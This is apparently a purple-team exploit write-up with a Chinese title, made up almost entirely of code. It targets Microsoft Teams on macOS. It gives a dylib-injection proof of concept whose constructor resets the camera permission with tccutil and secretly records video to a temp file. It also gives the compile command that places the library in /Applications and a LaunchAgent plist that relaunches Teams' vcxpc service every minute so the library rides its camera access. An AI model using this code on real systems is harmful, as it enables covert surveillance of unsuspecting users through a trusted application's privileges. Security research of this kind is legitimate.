紫队行动期间利用 macOS 的一个 Microsoft Teams漏洞

#import <Foundation/Foundation.h>



__attribute__((constructor))

void inject(int argc, const char **argv) {

    NSLog(@"[+] Library (.dylib) injected!");

}

gcc -framework Foundation -dynamiclib inject.m -o inject.dylib

#import <Foundation/Foundation.h>

#import <AVFoundation/AVFoundation.h>



@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>



@property (strong, nonatomic) AVCaptureSession *captureSession;

@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;

@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;



- (void)startRecording;

- (void)stopRecording;



@end



@implementation VideoRecorder



- (instancetype)init {

    self = [super init];

    if (self) {

        [self setupCaptureSession];

    }

    return self;

}



- (void)setupCaptureSession {

    self.captureSession = [[AVCaptureSession alloc] init];

    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;



    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];

    NSError *error;

    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];



    if (error) {

        NSLog(@"[x] Error setting up video device input: %@", [error localizedDescription]);

        return;

    }



    if ([self.captureSession canAddInput:self.videoDeviceInput]) {

        [self.captureSession addInput:self.videoDeviceInput];

    }



    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];



    if ([self.captureSession canAddOutput:self.movieFileOutput]) {

        [self.captureSession addOutput:self.movieFileOutput];

    }

}



- (void)startRecording {

    [self.captureSession startRunning];

    NSTimeInterval timeStamp = [[NSDate date] timeIntervalSince1970];

    NSInteger intTimeStamp = round(timeStamp);

    NSString *outputFilename = [NSString stringWithFormat:@"recording_%ld.mov", intTimeStamp];

    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:outputFilename];

    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];

    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];

    NSLog(@"[*] Recording started.");

}



- (void)stopRecording {

    [self.movieFileOutput stopRecording];

    [self.captureSession stopRunning];

    NSLog(@"[*] Recording stopped.");

}



- (void)captureOutput:(AVCaptureFileOutput *)captureOutput

didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL

      fromConnections:(NSArray<AVCaptureConnection *> *)connections

                error:(NSError *)error {

    if (error) {

        NSLog(@"[x] Recording failed: %@", [error localizedDescription]);

    } else {

        NSLog(@"[+] Recording finished successfully. (Saved to %@)", outputFileURL.path);

    }

}



@end



__attribute__((constructor))

static void telegram(int argc, const char **argv) {

    __block int record_condition = 0;

    __block int reset_condition = 0;



    NSLog(@"[*] Check permission to access the camera and microphone ...");

    switch ([AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo])

    {

        case AVAuthorizationStatusAuthorized:

        {

            NSLog(@"[+] The user has previously granted access to the camera.");

            record_condition = 1;

            break;

        }

        case AVAuthorizationStatusNotDetermined:

        {

            NSLog(@"[*] The app hasn't yet asked the user for camera access.");

            [AVCaptureDevice requestAccessForMediaType:AVMediaTypeVideo completionHandler:^(BOOL granted) {

                if (granted)

                {

                    NSLog(@"[+] Access granted by the user.");

                    record_condition = 1;

                }

                else

                {

                    NSLog(@"[x] Access refused by the user.");

                    reset_condition = 1;

                }

            }];

            break;

        }

        case AVAuthorizationStatusDenied:

        {

            NSLog(@"[!] The user has previously denied access.");

            reset_condition = 1;

            break;



        }

        case AVAuthorizationStatusRestricted:

        {

            NSLog(@"[x] The user can't grant access due to restrictions.");

            reset_condition = 1;

            break;

        }

    }



    [NSThread sleepForTimeInterval:5];



    if (reset_condition)

    {

        NSLog(@"[*] Resetting the previous choice ...");

        NSTask *task = [[NSTask alloc] init];

        task.launchPath = @"/usr/bin/tccutil";

        task.arguments = @[@"reset", @"Camera"];

        [task launch];

        reset_condition = 0;

    }



    [NSThread sleepForTimeInterval:5];



    if (record_condition)

    {

        VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];



        [videoRecorder startRecording];

        [NSThread sleepForTimeInterval:3.0];

        [videoRecorder stopRecording];

    }



    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:5.0]];

}

gcc -dynamiclib -framework Foundation -framework AVFoundation camera.m -o /Applications/libskypert.dylib

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

       <key>Label</key>

        <string>com.poc.launcher</string>

        <key>RunAtLoad</key>

        <true/>

        <key>ProgramArguments</key>

        <array>

        <string>/Applications/Microsoft Teams.app/Contents/XPCServices/vcxpc.xpc/Contents/MacOS/vcxpc</string>

        </array>

        <key>StartInterval</key>

        <integer>60</integer>

        <key>StandardOutPath</key>

        <string>/tmp/poc.log</string>

        <key>StandardErrorPath</key>

        <string>/tmp/poc.log</string>

</dict>

</plist>

launchctl load ~/Library/LaunchAgents/com.poc.launcher.plist